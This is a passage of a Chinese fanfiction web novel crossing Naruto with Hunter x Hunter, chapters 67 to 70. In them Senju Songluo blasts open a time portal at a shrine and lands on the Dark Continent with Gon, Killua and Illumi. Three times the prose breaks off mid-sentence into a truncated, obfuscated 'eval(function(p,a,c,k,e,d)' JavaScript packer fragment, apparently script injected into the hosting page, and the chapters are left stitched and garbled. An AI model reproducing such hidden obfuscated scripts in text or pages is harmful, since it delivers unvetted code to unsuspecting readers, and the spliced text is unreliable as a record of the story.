暴风雪忽然变大了,堵在洞口的树枝吱嘎响了几声就掉落了下去,狂风忽然吹进来,夹带着冷然的冰霜。 松萝抬起袖子,刚想挡住扑面而来的风雪又放下了手。 她需要让自己过热的头脑冷静一下。 这种力量至上的理念绝不是她该赞同的。 松萝不动,因陀罗倒是站了起来,他要去堵一下洞口。 只是当他经过松萝之时,忽然感到衣角被拉住。 “可是你有没有想过,如果有一天人人臣服于你的力量之下,你还会是那个公平公正的的人吗?你会没有私心吗?” 人们崇拜力量也畏惧力量,尤其是这力量不握在手中,时时刻刻能左右他们生死的时候。 松萝以忍者身份在外行走之时,那些农民、商户皆是避之不及,他们怕,哪怕自己表现得再无害,再理智,他们也怕自己一时不高兴会打杀他们。 因陀罗停下脚步,转过身来,也不知有意无意,正好替松萝挡住了冷风。 大片阴影笼罩下来,松萝感觉视线突然暗了许多。 他慢慢靠近,俯下头,一字一句像是发誓一样地说:“我不会变。我不会有私心。” 能说出这样的话来,真不知道该称赞他内心强大还是该为他的冷心冷情而颤抖。 松萝拿斗篷蒙住头,不再管此外的一切,数着羊试图放空大脑。 因陀罗盯着一会儿斗篷下拱起的脑袋,使了个土遁给洞口造了个门。 67.第 67 章 再醒来时,暴风雪已经停下,山洞里也只剩下了松萝一个人。 这样才正常,因陀罗本就是一个独来独往的人,忍受了松萝前后长达四个月的跟随,也到了极限了吧。 松萝遂也离开了山洞,花了一个多月的时间找到了雨林中趴在树干上的白色蛞蝓。 小小的,还不及巴掌大,蓝白相间的背纹挺好找。 松萝表达了想见蛞蝓仙人的想法,并拿出又一张自己还原的仙人符咒给小蛞蝓看。 小蛞蝓的声音软软糯糯,很是温柔可爱:“人类没办法在湿骨林生存的,千手大人有什么事情的话我来代为转达好了,我们都是蛞蝓大人的一个分身,传达起来很方便的。” 咦,那倒是很神奇,像是共用思维吗? 根据因陀罗的解读,这仙人符咒上的咒印乱序排列,无法解读出完整的意义和功效,着实让松萝泄气。很有可能就是因为她没记住完整的图案而导致的无法解读。 死马当作活马医,再让蛞蝓大人看一遍呢? 小蛞蝓爬到她手上,用身体覆盖住符咒,触角竖起,过了一会儿,触角耷拉下来,说:“抱歉,蛞蝓大人说她无法解读。” 松萝的肩膀也同样耷拉下来。 “小蛞蝓,你知道半年前有过发生过什么奇怪的现象吗?”这个问题也是她不知道第几遍问了,想想她突然出现,总该有什么伴随现象吧。 “奇怪的现象?” “对啊,就是那种很诡异的,无法解读的,不受控制的,或者跟平常不太一样的事情都可以呀!” 它动动触角,在半空中抖动,这是在联系中。 过了一会儿,它重新开口:“西部森林里有一只我的姐妹说半年前它看到过一阵绿色的光,但是只有几秒钟。” 它的蛞蝓兄弟姐妹遍布全世界,只要是潮湿的、阴冷的地方,就有蛞蝓姐妹的眼线。 “在哪儿?!” …… 长满青苔的半人高鸟居,深陷在泥土中。 一个穿着斗篷的人站在鸟居前,声音惊喜异常: “就是这个!” 胸前的衣物突然出现一个隆起,接着这个隆起滑到脖颈出,一只白色蛞蝓探出了身体,它的声音照样甜美:“蛞蝓大人说她祖母的祖母的祖母之前这个东西就存在了,一直没消失,就是这个样子。我半年前就是看到这个鸟居发出了微弱的光芒,其他什么都没发生。” “我进去看看。” 松萝分出一个木分身,矮神走进鸟居。 天地景色变幻,变成了熟悉的布局:两边各四个挂着青苔的石灯,以及正前方被榕树贯穿的主殿。 被因陀罗补习过后的她已经不是原来的她了,而是有着丰富知识的学者。 “学者”原地分析起来:她见过三座神社,不同时空,但布局相同,说明是同一个人建造的;第一次见到的神社里,她捡到了被封印的猫咪老师,据他所说,是黄泉国度的伊邪那美将他扔进神社的,那么大胆推测,这几个神社也跟伊邪那美有关! 蛞蝓大人说鸟居很早就存在了,并且一直没有损毁,甚至千年后的世界还存在着,这说明它的存在是不随时间流动的,它坐落于所有时间线上。 换句话说,它跟所有时间线是相连的! 伊邪那美,神话中的母神都出现了,小小的穿越时空应该也不在话下吧,搞不好妙木山、龙地洞的国宝也是神话中的神明们留下的呢。 松萝瞬间激动起来,她觉得自己找到了正确的路子。 她退出神社,抱着蛞蝓原地转圈,欣喜异常:“太谢谢您了!蛞蝓大人!” 之后她就开始了试验。 先把神社翻了个底朝天,摸出一个02戒指收入囊中,这回她放聪明了,用了特质的布料,将两个戒指好好保存在一起。 然后尝试许愿、跪拜、供奉,丝毫没有反应。 神学手段失败,换物理手段上场。 土遁、水遁、木遁对着鸟居连番轰炸,烟尘过后,红色柱子一点没变,上面的裂缝还是原来那几条。 松萝不气反喜,因为这恰恰说明她的猜测是正确的。正因为是坐落在所有时间线的收束上,所以单一空间的攻击才对它没有任何用处。 但是只要力量足够大,单一的空间也能撼动整体。 她蓄力在双手,调动全身查克拉,朝着鸟居发出最强的一拳。 她右手停在半空,像是被一片屏障阻挡住了一样,随着她的碰撞,那个无形的屏障以拳头相接处为中心,荡出一圈极其微小的波纹。 这是从来没有过的情况,之前连无形屏障都没出现过。 “哈哈哈哈哈哈哈!” 她的笑声震耳欲聋,本来在远处观看的蛞蝓忍不住爬得更远了一点。 笑完她就想到了问题,她现在的力量似乎不够。 …… 沉思一会儿,她想起了神树残骸版十全大补丸。 对不起了,六道仙人,我要做些令您费解的事情了,但绝不是坏事啊,原谅我吧。 * 半年的时间一晃而过。 千手松萝在这个时代已经待了一年多,她已经收集完大部分的十全大补丸,但是力量的增长却不尽如她意。说到底只是残骸,合起来感觉还是不太够。 这期间阿修罗一直通过□□丸来信热情地请她去忍宗作客,松萝也只能假装很忙 倒是另一位的偶尔来信让松萝很是意外。 第一次见到小白蛇衔着信封出现在她面前时,松萝还以为是龙地洞有事找她,没想到却是因陀罗。 只不过他的来信内容一直都很简单。松萝不识字,都是让送信的小蛇代读。 “已安顿。” “部下满九十九人。” “部下满一百九十九人。” 往往都是这种不需要回信的内容,然后附上时间地点。 总让松萝产生一种是不是在叫她去填补上那个第一百名或者第二百名名额的荒唐想法。一点都不想像那个大魔王的作风。 而最近一次阿修罗和因陀罗的来信如出一辙: “六月十五,岚山东入口处。” 两封一模一样的来信摊在桌上,一封是黑色烫金纹笺,一封是古朴绢色笺。 松萝拿起其中一封,心想:当真是许久未见了。 * 正午日当头,一个桥梁边的茶棚中,有三两桌的客人,正喝着店家提供的酸梅饮品消暑解渴。 “太危险了,那群会忍术的人打起来真的是不管不顾。” “你也是从岚山过来的?” “算不上,我也就偶尔运货的时候从山脚下经过,但跟我同村的人有一次从那里经过的时候差点被误杀!” “这也太……唉,我本来天天都要走的路,现在都不敢靠近了,只能绕远。一天能挣的钱少了一半……” “岂止啊,东边的大湖不是发大水就是下暴雨的……” “不止,北边的沙漠也不太平……” “西边的沼泽地也是……” 两桌客人忽然叽叽喳喳地聊了起来,全是最近一个月发生的大事,几个男人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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木巨人的攻势忽然一滞,对于眼前出现的熟人面孔,阿修罗的脸上没有任何欣喜,而是忽然显现出极大的怒意和耻辱之意,朝来人吼道:“为什么是你!为什么你要帮因陀罗!为什么前几天你要打伤父亲!为什么啊,千手松萝!” 松萝沉默。 一个月前,她接到两封疑似战争预告信,预感到自己回家的契机就在具有高浓度查克拉的战场。 便将鸟居搬去了岚山,埋在了地下。鸟居虽然不能被破坏,但是能挖出来移动,这也是她的一个发现。 布置完一切,她又找到一处神树残骸的时候,六道仙人毫无征兆地出现了。 “你现在在做的事情非常危险,现在就停下。” 事情一开始就没有回头弓,松萝只能说声抱歉。 将大部分查克拉传给了阿修罗,又从体内分出九只尾兽的六道仙人远没有以前那么强大,通过神树残骸壮大了自身的松萝很轻松地就将他击退了。 捂着胸口的六道仙人半蹲在地上,对着她远去的方向喃喃:“老夫难道又做了错误的决定吗……那两个孩子……” 回到现在,阿修罗充满怒火的脸缓缓放大,他竟放弃了操控木巨人,直接用本体跳了过来。 松萝面无表情地看他一眼,转身跳向蓝色须佐能乎的眉心。眉心的透明屏障为她打开,松萝顺利站在因陀罗身侧。 向来冷酷的因陀罗难得露出一丝笑容来,无视了阿修罗的咆哮,对下方战场一挥手:“撤退!” 68.第 68 章 松萝跟着回到了因陀罗的阵营内,明明今日的战斗没有占到什么上风,因陀罗的脚步却比平常轻快几分。 顶着众人好奇的目光,松萝走入因陀罗的主帐内,留下背后的窃窃私语。 “撤退吧。” 松萝进来后脚步稍顿,环视一圈帐篷后说了这句话,引得因陀罗皱眉:“你在说什么,不是已经撤退了……” 他的话在纤细如青葱的手指点在自己胸口时戛然而止。 松萝压下心头异样的感觉说:“你今天战斗时分神了,是因为这里的伤口疼痛对吗?” 她不客气地挑开因陀罗的衣襟,露出洇满血迹的绷带:“你的恢复能力不如阿修罗,久战积累的伤痕让你处于弱势,所以,撤退吧。” 她这话就好像在说“你输了”一样,因陀罗不服输的脾气几乎是立刻被点燃了。 他挥开松萝的手,没好气地转移话题说:“你来做什么?” 松萝也不恼,寻了个凳子坐下,从衣襟里摸出一封黑色烫金的信来,晃了晃:“不是某人请我来的吗?” “哼,都过了一个多月了,你觉得我会相信吗,”虽然这个月都在岚山与阿修罗交战,但最近各地发生的事情他可没有错过半点消息,也包括他的那位父亲被人打伤的事情,“你现在已经被忍宗通缉了,还大摇大摆地出现在这里,怕是会成为比我更大的打击目标。” 他听上去很是愉悦,甚至有心情调侃松萝,然后才说正事:“你收集神树查克拉了。” 所以才会在各地闹出大动静,所以会跟大筒木羽衣打起来。 松萝有些疲惫地抹了一把脸,懒得迂回,直接承认:“是。”这段时间她确实感到身心疲惫。 因陀罗眯起双眼:“你在做很危险的事情。” “是。” “我警告过你,不要做这么危险的事情。” “是。” 过于敷衍的回答引起了他的不快,胸口还在渗血的因陀罗瞬移到松萝身前,钳住她的肩头,一提一推,把她逼进了角落。 从外面能清晰地看到一个印在帐篷布上的人形。 他捏起松萝的下巴,滑腻的触感令他有些许不适,但还是强制让她的视线对上自己的:“……你在想什么?” 话一出口,他自己也有些不解,明明是想训斥一下她的态度和近日的行为。 “在想……你的伤口还疼吗?” “撒谎。”明知她说的不是实话,但看在她浓重的黑眼圈上,因陀罗还是放开了对她的钳制。 松萝无法对人言说近日的煎熬,因为本就无人赞同她的行为。 加上与忍宗的对立,她内心感到歉疚与不适,越发地思念那边的亲友。 今日战场所见,竟让她有一瞬间以为回到了宇智波斑和千手柱间交手的战场,没有多想就冲上去帮助处于弱势的“斑”。 在阿修罗眼里,今日这一遭,怕是坐实了她要与忍宗为敌的罪名吧。 轻叹一口气,松萝感觉全身力量都被抽走了一样,游魂似的走到衣服铺就的床上,仰天,双手交叠在肚上,合上双眼。 没错,她,千手松萝,面对过于复杂的现实,选择了——摆烂睡觉。 因陀罗:??? 他脸色臭的像烂鱼一样,散发着杀气盯着人许久,最终还是一言不发地走到了帐外去。 因陀罗走出帐篷后,呼吸绵长的松萝忽然睁开了眼睛。 她从怀里掏出一物,摁在胸口,回想起收到这个东西时扉间对她说的话。 “手柄的术式里封印着我的查克拉,危急时刻我可以通过此物与自己互换,完成瞬间移动,切记随身携带,不可丢失。” 这也许是她现在的随身物品中唯一能证明自己来自另一个时代的东西了,松萝想那边的大家的时候就会拿出来看看。 “快了,很快就能回去了。”她无言地做着口型。 * 另一边的营地里,正爆发着激烈的争吵。 与因陀罗阵营的一言堂不同,这一边更为民主。阿修罗虽然是忍宗之主,但大筒木羽衣的徒弟们也有着不小的话语权。 他们正在为活捉那个在世界各地搞事情并打伤了大筒木羽衣的女子,还是就地正法争得面红耳赤。 说是两派,实际上支持活捉千手松萝的也只有阿修罗和他的心腹罢了。 几周前接到忍宗大本营的来信时,他还颇有些不相信松萝会做出打伤父亲的事情,直到他的父亲给他写了一封亲笔信,阐明了松萝近期所作所为和两人冲突的始末。 他心存的最后一丝侥幸也被浇灭,怀疑和不解日夜累积,在今日战场相见时转化为了愤怒。 她竟真的成为了敌人! 本就烦躁的心情越来越差,阿修罗一拍桌子站起来,扫视一圈,用不容置喙的语气说:“还要问出背后是否有人指使,只准活捉,不得伤她性命!” * 第二日的战场尤为激烈,两个首领像是吃了炸药一样高危性忍术乱放,众人不得不退得更远了一些。 只是令阿修罗众昨晚彻夜谈论对策的罪魁祸首却迟迟不出现。 阿修罗一个上勾拳问:“她呢?” 因陀罗回他一记横扫腿:“不知道。” 阿修罗拔出背上的武士长刀:“你们在谋划什么?” 因陀罗也拔出背后的双刀:“不知道。” 阿修罗召唤顶上大佛:“把她交出来!” 因陀罗召唤完全体须佐:“做梦!” 已经荒芜的大地再一次遭到了蹂躏,眼见两方愈打愈烈之时,战场边缘出现了一个意外的人物。 “师父!” “大筒木大人!” “父亲!” 来人正是创立了忍宗的大筒木羽衣。 他的出现,让打得火热的战场出现了暂时的停滞,连上方的两人也对视一眼,拉开了距离。 因陀罗俯视着他的父亲,眼神冰冷,从鼻孔里冷哼一声:“真是老了不少啊!” 比起一年前,大筒木羽衣确实肉眼可见地佝偻了,在将忍宗交给阿修罗之后,他将体内剩余的十尾查克拉分成了九股,创造了九个尾兽,又花了半年的时间为它们找到适合栖息的场所,让它们能自由自在地生活。 他剩下的时间应该不长了,那更加要在不多的时间内将隐患拔除,想到这里,他的轮回眼瞬间锐利起来,如针一般刺向某处。 原本空无一物的石头上缓缓显现出一个翘脚坐着的身影来。松萝见自己的隐身之法被破解,拍了拍衣服上不存在的灰尘站起来,微微屈身,向六道仙人所在之处拱了拱手。 见她现身,与昨日大部分人还不知道她是谁的局面不同,今日所有人都知道她是被忍宗通缉的对象,场面一下子就剑弩拔张起来。 六道仙人也没进行“回头是岸”这种劝导,上来就通灵了他的搭档□□丸,□□油从后者嘴里喷涌而出,配合火遁在松萝身边筑出一个火圈鸟笼。 仙人锡杖向前一指,身边的忍宗大军士气大振,带着比刚才气势与因陀罗所带领的人战在了一起。 六道仙人看向“鸟笼”里乖巧安静的人说:“出现在这战场,应该不单单是为了躲在一旁观战吧,你在图谋什么?” 上次冲突之后他仔细思考了一番,从她突然出现到现在,救助村民、教导忍术、路见不平拔刀相助,汇报上来的她的所作所为,没有一件是坏事,只除了收集神树查克拉这一件事。 观其眼神,也不像是有什么野心和坏心,如此一来,就有些令人疑惑了。 他不曾放弃派人调查千手松萝的来历,却找不到她一年之前的踪迹,结合她自身诉说的来自千年后的说法倒是更加可信了几分。 再加上,藏书阁中除了与尾兽相关的书籍被动过以外,就是因陀罗所著的时空理论相关的了,此子先前与因陀罗亲近,以及前段时间的所作所为,莫非真的是为了穿越“时空”? 这真的能实现的吗?她所做的一切都仅仅是为了回家? 因六道仙人的出现而停战几秒后又重新激战的阿修罗和因陀罗时刻注意着这边的情况,因此也没有漏听六道仙人的话。 他的意思是,她的出现有蹊跷?这里不安全?她到底要做什么? 松萝站在原地,没有做出反抗或者逃跑的动作。 她看了一圈越来越激烈的战场,不是很明显但因陀罗一方已出现颓势。 写轮眼与木遁的对抗,何其相似的一幕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“轰!”膨胀到极致的影分身终是炸裂开来,飞溅的血沫与肉块像烟花一样向四周抛射,地下露出一个深坑,红色的物体显露出来,其上无形的屏障荡漾不止,黑色的小洞从中间缓缓出现。 松萝见状立刻抬手,四周封印卷轴显现,球形结界转瞬间形成,笼罩住所有血肉和鸟居。 奇妙的是炸裂开来的身体竟在眨眼间原路退回,恢复到了炸裂前的气球状态。 结界将气球和鸟居笼罩在内,不断被压缩,再压缩。 这回,饶是上头的的因陀罗与阿修罗也震惊地停了下来。 松萝一手维持着结界,一手抬起,指向因陀罗驻扎的营地。 “砰”,爆炸声从远处传来,声音不曾减弱多少。 “那个方向是……” “怎么会突然爆炸!” 嘈杂声中,松萝对上了因陀罗惊愕的眼神,这是她第一次见到后者脸上出现“迷茫加难以置信加愤怒”这么复杂的表情。 一直以来安静无事的驻扎地在松萝停留后的第二天就巧合地发生了爆炸,因陀罗几乎是立刻就反应了过来:“是你!” 杀气攀升,双手雷遁加持,因陀罗面目狰狞地向松萝冲去。 ——他最恨背叛者。 眼前黑影一闪,因陀罗被迫停下脚步,大喝:“让开,阿修罗!” 松萝见他被拦,从怀里摸出一个刻着符文的手里剑,往球形结界一掷。结界壁上立刻爬上道道龟裂纹,刚刚稳住的“气球”遭受到外来刺激,瞬时间就爆裂开来,并且比几息之前要强上好几倍。 手里剑承受不住剧烈的冲击波,整个消融在爆炸中,消失的地方竟出现一个半人高的黑色漩涡。 松萝擦去嘴角流下的血,走到黑色漩涡前。 这便是她费尽心机炸出来的时空通道了,进去之后可能直接肉身被搅碎,也有可能连意识都无法保持清醒。 但她不会退缩。 最后再看一眼这个远古时代的人们和针锋相对的两人,她轻轻说了一句话,就转身投入到了黑色漩涡之中。 本就伸缩不定的漩涡在她主动进入之后,闪了两下消失了。 69.第 69 章 “别玩了那个死人了,马上就要天黑了,快来跟我一起涂臭臭泥!” 一个银发少年拔掉地上的杂草,挖出一个浅坑,把底下潮湿的泥巴挖上来,搅成一团团的。泥团上冒出黄绿色的烟气,少年捂住口鼻干呕一声。 接着,他不知从哪里摸出一个夹子,夹在鼻翼两侧,然后扭曲着脸,视死如归地往泥地里跳,一边在泥坑打滚一边还喊旁边的同伴:“赶紧过来呀!这可是躲避夜晚生物的唯一办法。” 根据《新大陆纪行》东篇的记载,这里一到夜晚,就会出现肉眼看不见的诡异生物,杀人于无形,往身上涂抹臭臭泥或者吃下茗茗草则可以躲避诡异生物,不会被靠近。 旁边的同伴穿着一身绿色的长袖短裤套装,蹲在杂草丛边,没有起身的意思。 高长的杂草堆里,大半被压折,毫无生气的人躺在其中,衣衫褴褛,裸露的皮肤上却没有伤口。 在这种地方,死于无形也不是什么稀奇的事情。 但是…… “她好像要醒了诶……” “什么?!” 银发少年停止打滚,猛的弹起,身上的泥巴溅飞出去,挂到了他的同伴脸上。后者嫌弃地“噫”了一声,用拳头擦去脸上的泥巴,默默往左挪了两步,远离泥巴少年:“奇犽,这也太臭了吧。” “别嫌弃了,你也得抹!还不是你的先祖东·富力士写的那本游记,那可是唯一探索过黑暗大陆后还留下文字,可以供我们参考的记录了。还有,她没死的话也得给她抹上,不然夜里怎么没命的都不知道。” 说着他便去抓了一把泥巴,作势要往躺着的人脸上抹。 青葱一样的手按住了少年奇犽的手腕,虚虚扣住了没有沾到泥巴的地方。 他看见几秒钟前还被他判为“死人”的家伙,直挺挺地坐了起来,眼眸抬起,盈满绿色柔光。 目光相触,鸡皮疙瘩顿起,他飞速后退十米,摩挲着刚刚被碰到的肌肤。 他不习惯与人接触。 他还不忘提醒:“杰,后退。还不知道是人是鬼呢。” “不是人。” 奇犽顿时警戒天线拉满,因为杰的直觉总是意外地准,在这种常识不起作用的地方,直觉才是最好用的。他今天就被杰的直觉救了三回了。 “但是不是敌人。” 奇犽:“商量个事,下次说话别大喘气。” 杰嘻嘻一笑,露出人畜无害的表情问刚爬起来的女人:“姐姐是遇到什么麻烦了吗?” 女人个子不高,身材纤细。她的双眼变成了古井无波的深黑色,精致的面孔上一尘不染,双颊红润,气色饱满,似乎刚刚只是躺在那里睡了一个美梦。 她环顾四周后,抱着脑袋发出一声哀嚎,对此,两个少年更加不知所措了。 得了,这回不用问这是哪了。 是她老家。 她闭上眼睛都能知道这是隔壁那条毒舌的毒蛇的破烂领地,空气中充斥着腥臭的味道,夹杂着欣喜的青草气息。 林叶沙沙作响,迷迭香若有若无,只要她一动念头,感官就被无限延伸,越过泥沼,越过森林,越过石塔,越过迷宫,越过…… 嗯?? 她瞪大眼睛,黑色瞳孔周边晕出一圈绿色光环。 映照在眼里的景色快速变换,她的视线透过千里、万里,撞入远处巨木树干上幻化出来的眼睛之中。 霎那间,天地静止。 下一秒,杂草、树木疯长,地下隆隆作响,杰和奇犽被突如其来地地震吓到,身体失去平衡,瘫坐在地上。 他们看到地面层层隆起,像是有一条巨龙在浅地表游动,迅猛异常,直冲三人而来。 那异常隆起一直延伸到神秘女人的脚下,然后突然消失了动静。女人身上的布条无风自动,额发翻飞,整个人散发出一阵绿光,刺激得最近的杰留下了生理泪水。 光芒只亮了一秒就收敛了,女人意犹未尽似的舔了舔下嘴唇,随即怔住,疑惑地歪了歪脑袋。 “姐姐?” 忽有清灵的铃声传来,引人心神摇曳。 “别听。” 绿色的叶子轻柔地笼罩住少年们的脑袋,全方位地捂住了他们的耳朵。 “响尾蛇的铃声是地狱的铃声,别听。” 响尾蛇,是她以前的老邻居,就喜欢半夜跑酷,尾巴上的响铃声神出鬼没,扰民。 没错了,这里就是她的老家黑暗大陆。 千手松萝哀叹一声,没想到会变成这样。她的穿越可以说是成功了也可以说是失败了。 甚至还有些奇怪。 她连接到森林的一瞬间透过重重阻碍看到了自己的本体,并且在刚刚重新跟本体融合了。 但是,她怎么记得当时自己厌倦生活,跟那个人类“爸爸”签订契约去往“门”外世界之前将自己的本体毁了呢。 为了通过界门,她压制力量,只切割了一小块的自己,将意识附在上面。 剩下的离了她的意识,只会成为邻居们的砧板鱼肉,不如毁了。既然如此,又怎么会在刚刚跟一个完整的自己融合了呢? 还有一个我?还是我回到了没遇到“爸爸”之前? 她思索间,没注意到声音已经完全消失,黑发少年好像意识到了,唤她:“地狱铃声是不是停了?” “嗯,确实停下了。” 包裹着他们脑袋的叶子散开,叶片像盛开的花瓣一样围在脖子周边。 千手松萝没有立刻撤掉叶子,而是对他们说:“他等会儿可能又跑回来了,我们换个地方吧。铃声再响起来的时候叶子会帮你们捂住耳朵的。” 他是谁?响尾蛇吗?两人很想这么问,但也知道不是时候。 松萝的目光在地上逡巡,看到一朵红花时眼睛一亮,伸手轻轻一点,红花暴涨成两人高,小小的花骨朵变形成张大的红色巨嘴,尖利的的牙齿间滴下丝丝透明粘液。 红花摊开仅有的两片叶子,松萝坐上去,朝两个少年伸出了手。 三人坐着高速移动的大红花,现在是食人花了,来到一片幽静的河边。 疾驰的食人花在河边一个急刹车,没抓稳的奇犽被甩进了河里。 “扑通。” 食人花放下松萝和杰,急不可耐地地扭动身子,将刚刚奇犽坐过的叶子浸泡进水中,来回翻动着,直到上面的泥巴都被冲刷掉了,才收回叶子,原地转了一圈,袒露出上扬的大嘴。 奇犽:……他刚刚是不是被一朵花嫌弃了。 “哈哈哈哈哈!” 夜晚都过了一半了,一点臭臭泥没沾的杰照样活的好好的。虽然不知道是不是这个神秘女人的缘故,但是奇犽也知道是不需要继续裹着这身泥巴了,他急忙在河里洗了个澡,穿着裤衩走上了岸。 他拧着衣服上的水走上岸,听见杰和那个女人欢快的交谈声,想着大约真的不是什么有威胁的人。 他的眼神不自觉地就往岸边立着的大花上飘。 鲜艳的花盘中间有条裂缝,或者说是它的嘴,正在进食,以他的目光能看到一只动物的后腿,猩红的血顺着花瓣滴落下来,很是凶残。 奇犽转了转眼珠子,捡了颗石子用力弹出。 石头扔过去,被那植物坚硬的表皮弹开。 他耸耸肩,意料之中。转身就走,却忽然感受到背上一凉,像是被什么东西戳了一下。 回头一看,竟是一条粗壮的藤蔓。藤蔓上没有叶子,纹路似鳞甲一般,阳光下竟还有些反光。藤蔓后半部分贴在地上,前端悬在空中。 刚刚就是它戳了一下奇犽。 它触到奇犽回过头的目光的一刹那,慌乱无措地翻腾起来,上下翻飞之间竟把自己绕成了个死结。 奇犽:…… 它发现自己缠成死结后,更激动地扑腾,甩得空气猎猎作响,结果越缠越紧,越绕越死。 “停!”那边的两人聊得太开心根本没注意到这边,奇犽心里天人交战一会儿,眯着眼睛最终决定自己上手,“你别乱动。” 听到这话,那藤蔓停止了动作,停在他面前,最前端耷拉下去,就像失落的狗狗一样。 “我帮你解开,不要反抗。” 藤蔓很是听话,乖乖地让奇犽上手。 一小会儿之后,藤蔓恢复了之前的样子,它开心地碰了碰奇犽的手腕,又挠了挠他的手心,真的很像一条小狗。 嗯,魔植跟魔植也是不一样的呢,就比如这藤蔓,比那朵花好多了。 …… 他走到两人身边,听他们交谈。 黑刺猬头少年叫杰·富力士,比较自来熟 另外一个人虽然面上是一副无所谓的样子,但紧绷的身体自松萝醒来后后就没放松下来过。他叫奇犽·揍敌客。 松萝也“入乡随俗”自称松萝·千手。 “你是忍者啊!”小杰回忆起了猎人考试的时候,“我认识一个叫半藏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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那声音来源也在此时露出了庐山真面目——一条巨巨巨巨蟒,不巧的是它正对着松萝的方向张大着嘴,上下两排密密麻麻的沾着紫色口水的毒牙让人头皮发麻。 “松萝姐姐!!”杰惊恐的尖叫和狂奔的姿势把这九死一生的险情气氛推到了顶端。 倒也没有那么危险。 “起。” 松萝轻轻一抬手。 森林突然喧闹起来,粗壮的树枝像注入了生命一样向四周疯长,遮天蔽日般侵袭着整个空间,然后直直地插入巨蟒的身体。 巨蟒身体被刺穿的“噗嗤”声不断入耳,它惊惧地扭动逃避之时,地下的树根破土而出,像钩索一样扎入它的脑袋,躯体和尾巴,往下一拽,整个蟒身就被牢牢钉在了地面,激起一阵尘土飞扬,接着无数尖刺自下而上贯穿整条蟒身。 巨蟒连哀叫都发不出来就已死去,猩红的血液从身下蔓延开来。 松萝稳稳落在一根藤蔓上,脚下轻踏,藤蔓就随着她的心意,将她送到地面。 面对奔向她而来却因为这场景半途刹车呆滞住的杰,松萝不合时宜地弯了弯嘴角。 回到原地,奇犽跟刚刚那个砸过来的男人正在对峙,气氛沉重。 松萝脑袋左右摇晃:“你们认识?” 显而易见,肯定不是什么朋友。 奇犽回答她:“是我大哥,伊尔迷。” 松萝:?这气氛我还以为是什么仇敌。 她心中顿时不知道愤恨多一点还是惊讶多一点。 说是奇犽大哥,但他们长得一点都不像。奇犽是银发蓝瞳,他大哥确是黑发黑瞳,真的是亲生的吗?看上去关系也不是很好? “奇犽,你不该在这儿。”名叫伊尔迷的大哥此时周身的低气压散发得宛若实质,松萝每靠近一点就能感受到加倍浓厚的黑暗。 就是这人,刚刚把她当垫背的,脸上还丝毫没有愧疚,果然越美丽的人越狠心。 松萝在这一刻突然升起了以后要对好看的人敬而远之的心情。 奇犽紧绷着身体,盯着他大哥说:“不关你的事。” 他们对视了许久,最终是伊尔迷先闭上了眼睛,压抑的气氛也随之缓解。 他抚上额角,用没有表情的脸说出宠溺的话:“真是个令人头疼的弟弟呢。上上次你离家出走把妈妈打成重伤,上次你把拿尼加从地牢里带出枯戮戮山,这次偷了太爷爷的手札跑到黑暗大陆,妈妈感动得哭了三天。不过黑暗大陆对你来说还是太早了,再过个四五年也不是不行,何况你还要带着一个不能用念能力的人,我倒是想打断你的腿,可是我也有任务在身,不能时时刻刻看着你,与其不明不白地死在魔兽口中,倒不如……” 听到别人家的大哥的鬼畜发言,松萝突然擦了擦不存在的热泪,心里想:柱间,你真是世间最好的大哥。 70.第 70 章 奇犽从伊尔迷的长篇大论中提取出了他最关心的点:“你怎么知道杰不能用念的?” 伊尔迷此时已经原地坐了下来,扯开上衣,露出肩上的伤口,看来是在跟巨蟒的追逐中受的伤,还泛着紫光,一看就是中毒了。 “昨天你们遇到旅团的人了吧,我现在跟他们一起行动。你运气不错,带着个拖后腿的也能从他们那里逃出来。” “杰才不是拖后腿的!”奇犽很不喜欢伊尔迷对好友的嘲讽。 杰虽然暂时失去了念能力,但他野兽般的直觉发挥的作用在这黑暗大陆可不一定比经验丰富的念能力者弱。他们俩这次来就是想办法恢复杰的念能力。 至于伊尔迷为什么跟旅团在一起他倒是大概能猜到,肯定是什么报酬丰厚的任务。 他们这边气氛一会儿紧绷一会儿放松的,三米远的吃瓜群众松萝和杰一边听一边聊。 松萝托腮:“他们什么时候聊完,我还等着揍人呢。我打他大哥,奇犽不会生气吧。” “才不会呢,只会给你加油鼓掌!”见过这俩兄弟互相下死手的杰·富力士心态平和,闲着无事就讲了讲他曾经在枯戮戮山修行的事情。 松萝听完总结:“奇犽原来是杀二代!” 第一精英暗杀家族什么的,跟他昨天满身泥巴的智慧样子差太多了吧。 “哎哟,他们打起来了。那算了,我就不打了。”听了些暗杀家族的瓜,报复回去的心思突然就淡了。 果然还是外面的世界有趣,只是她怎么就回来了呢! 守门人只许外面的人进来,不允许黑暗大陆的生物出去,维持平衡是守门人的无敌”规则“之一,想要强行突破出去根本不可能。 之前她就是投机取巧,压抑气息,再借助人类的契约道具才钻了”规则“的漏洞。 松萝转了转眼珠子,问小杰:“你们怎么知道在这里能恢复念能力?是有什么根据吗?” 本以为少年会跟之前一样好说话,没想到突然狡黠一笑,反问起来:“姐姐之前为什么倒在地上?” “呃 ,说来话长。” ——我本是一株魔植,砍下一截根须化成人形,跟从莫比乌斯湖岛上来的冒险家签订契约,逃过了守门人的眼睛。 ——却不幸着了人类的道,认贼作父,还被关起来,被迫当个工具人外加宅女。 ——宅女玩游戏的时候穿进了游戏世界活了十多年,又莫名其妙被一个黑漆漆怪物刺死,穿越到了千年前。 ——在千年前找到时空交汇点,用爆炸后的坍缩制造引力极大值,炸出个时空通道结果把自己送回了黑暗老家。 这一长串说出去,有谁会信啊! 啊哈! 她自己都觉得在做梦! 